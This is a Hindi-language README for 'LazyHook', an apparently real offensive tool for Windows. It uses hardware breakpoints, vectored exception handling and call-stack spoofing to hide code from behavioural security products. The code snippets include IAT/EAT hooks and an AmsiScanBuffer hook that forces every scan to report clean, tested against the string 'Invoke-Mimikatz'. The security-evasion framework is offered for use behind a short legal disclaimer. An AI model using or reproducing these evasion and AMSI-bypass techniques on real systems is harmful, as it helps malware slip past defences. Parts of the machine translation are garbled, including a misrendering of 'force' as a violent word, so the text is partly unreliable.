
व्यवहारिक विश्लेषण से बचें, भरोसेमंद Microsoft कॉल स्टैक के अंदर दुर्भावनापूर्ण कोड निष्पादित करके, पैचलेस हुकिंग लाइब्रेरी IAT/EAT।
LazyHook एक गुप्त API हुकिंग फ्रेमवर्क है जो कॉल स्टैक स्पूफिंग के माध्यम से होस्ट इंट्रूज़न प्रिवेंशन सिस्टम्स (HIPS) को बायपास करता है। CPU-स्तरीय हार्डवेयर ब्रेकपॉइंट्स और वेक्टर्ड एक्सेप्शन हैंडलिंग का लाभ उठाकर, यह मनमाना कोड इस प्रकार निष्पादित करता है मानो वह विश्वसनीय, Microsoft-हस्ताक्षरित मॉड्यूल से उत्पन्न हुआ हो—जो कॉल स्टैक निरीक्षण और मॉड्यूल उत्पत्ति सत्यापन पर निर्भर व्यवहारिक विश्लेषण इंजनों को पूरी तरह से मूर्ख बनाता है।
विश्वसनीय Microsoft कॉल स्टैक्स के भीतर दुर्भावनापूर्ण कोड निष्पादित करके व्यवहारिक विश्लेषण को चकमा दें
वैध फ़ंक्शनों को हाइजैक करने और मॉड्यूल उत्पत्ति को स्पूफ करने के लिए हार्डवेयर ब्रेकपॉइंट + VEH का उपयोग करता है
होस्ट इंट्रूज़न प्रिवेंशन सिस्टम्स (HIPS) और व्यवहारिक विश्लेषण इंजन एप्लिकेशनों की निगरानी इस प्रकार करते हैं:
Kaspersky System Watcher, Windows Defender, Cylance, और CrowdStrike जैसी प्रणालियाँ इन तकनीकों के विभिन्न रूपों का उपयोग करती हैं।
एक Microsoft-हस्ताक्षरित असेंबली (जैसे, System.Windows.Forms.dll, ) में किसी फ़ंक्शन को हाइजैक करके, हम एक ऐसे कॉल स्टैक के भीतर मनमाना तर्क निष्पादित कर सकते हैं जो पूरी तरह से वैध प्रतीत होता है।
user32.dllनोट: JmpHook करना संभव है, जो MsgBox को हुक करेगा -> और उसके बाद इसे आपके कस्टम कोड पर कॉल करेगा। LazyHook ऐसा नहीं करता
यह क्यों काम करता है:
सुरक्षा सॉफ्टवेयर दूसरे परिदृश्य को देखता है और सोचता है: "user32.dll से MessageBoxA विंडोज API कॉल कर रहा है? यह सामान्य व्यवहार है।"
┌─────────────────────────────────────────────────────────┐
│ 1. लक्ष्य फ़ंक्शन कॉल │
│ ↓ │
│ 2. CPU डीबग रजिस्टर ट्रिगर होता है (DR0-DR3) │
│ ↓ │
│ 3. EXCEPTION_SINGLE_STP उठाया जाता है │
│ ↓ │
│ 4. VEH हैंडलर अपवाद को इंटरसेप्ट करता है │
│ ↓ │
│ 5. निष्पादन हुक फ़ंक्शन पर रीडायरेक्ट होता है │
│ ↓ │
│ 6. CallOriginal() अस्थायी रूप से ब्रेकपॉइंट को अक्षम करता है │
│ ↓ │
│ 7. मूल फ़ंक्शन निष्पादित होता है │
│ ↓ │
│ 8. ब्रेकपॉइंट पुनः सक्षम होता है │
└─────────────────────────────────────────────────────────┘
IAT में आयातित फ़ंक्शनों का पता लगाकर और उन पर हार्डवेयर ब्रेकपॉइंट सेट करके उन्हें इंटरसेप्ट करता है। यह आपकी प्रक्रिया में विशिष्ट आयात को हुक करता है।
HookIAT("user32.dll", "MessageBoxA", HookFunction, &OriginalFunction);
एक्सपोर्ट टेबल के माध्यम से उनके पते को हल करके किसी DLL से वैश्विक रूप से निर्यातित फ़ंक्शनों को हुक करता है। यह उस निर्यात के सभी कॉलों को प्रभावित करता है।
HookEAT("amsi.dll", "AmsiScanBuffer", HookFunction, &OriginalFunction);
शामिल डेमो तीन व्यावहारिक परिदृश्यों को दर्शाता है:
MessageBoxA कॉलों को इंटरसेप्ट करके और प्रदर्शित संदेश को संशोधित करके IAT हुकिंग का प्रदर्शन करता है:
int WINAPI HookMessageBoxA(HWND H, LPCSTR T, LPCSTR C, UINT U)
{
printf("[*] MessageBoxA हुक हो गया!\n");
return LazyHook::CallOriginal<int>(LazyHook::GetIatState(), H, "हूक्ड!", ">:)", U);
}
CreateFileA कॉलों को लॉग करके फ़ाइल संचालन की निगरानी करने का तरीका दिखाता है:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("[*] CreateFileA हुक हो गया: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
सभी AMSI स्कैन को साफ परिणाम लौटाने के लिए मजबूर करके सुरक्षा सॉफ्टवेयर बायपास का प्रदर्शन करता है:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
printf("[*] AmsiScanBuffer हुक हो गया! बायपास किया जा रहा है...\n");
HRESULT OrgResult = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // सामग्री की परवाह किए बिना साफ बलात्कार
return OrgResult;
}
डेमो "Invoke-Mimikatz" (एक ज्ञात दुर्भावनापूर्ण स्ट्रिंग) को स्कैन करके AMSI बायपास का परीक्षण करता है और दिखाता है कि इसे साफ के रूप में वर्गीकृत किया गया है।
DR7 लेआउट (सरलीकृत):
- बिट्स 0,2,4,6: DR0-DR3 के लिए सक्षम फ़्लैग (लोकल एनेबल)
- बिट्स 16-31: ब्रेकपॉइंट शर्तें (निष्पादित, लिखें, I/O, R/W)
फ्रेमवर्क DR7 को निम्नानुसार कॉन्फ़िगर करता है:
VEH हैंडलर:
EXCEPTION_SINGLE_STEP है या नहींEXCEPTION_CONTINUE_EXECUTION लौटाता हैtemplate<typename Ret, typename... Args>
Ret CallOriginal(VehHookState* State, Args... args)
{
RemoveHardwareBreakpoint(State->DrIndex); // अस्थायी रूप से अक्षम करें
Ret Result = ((FuncType)State->OriginalFunction)(args...);
SetHardwareBreakpoint(State->OriginalFunction, State->DrIndex); // पुनः सक्षम करें
return Result;
}
डेमो साफ स्कैन परिणामों को बलात्कार करने के लिए AmsiScanBuffer को हुक करता दिखाता है:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
HRESULT Result = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // साफ परिणाम बलात्कार
return Result;
}
यह दर्शाता है कि महत्वपूर्ण API कॉलों को इंटरसेप्ट करके रनटाइम पर सुरक्षा सॉफ्टवेयर व्यवहार को कैसे संशोधित किया जा सकता है।
एप्लिकेशन व्यवहार को संशोधित किए बिना फ़ाइल एक्सेस को लॉग करने के लिए CreateFileA को हुक करें:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("फ़ाइल एक्सेस की गई: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
यह कोड निम्नलिखित के लिए उन्नत चोरी तकनीकों का प्रदर्शन करता है:
⚠️ चेतावनी: सुरक्षा नियंत्रणों को बायपास करने, सॉफ्टवेयर व्यवहार को संशोधित करने, या सुरक्षा उपायों को दरकिनार करने के लिए अनधिकृत उपयोग कंप्यूटर धोखाधड़ी कानूनों (CFAA, GDPR, समतुल्य कानून) का उल्लंघन कर सकता है। यह फ्रेमवर्क केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए प्रदान किया गया है।
आक्रामक तकनीकों को समझना बेहतर बचाव का निर्माण करता है।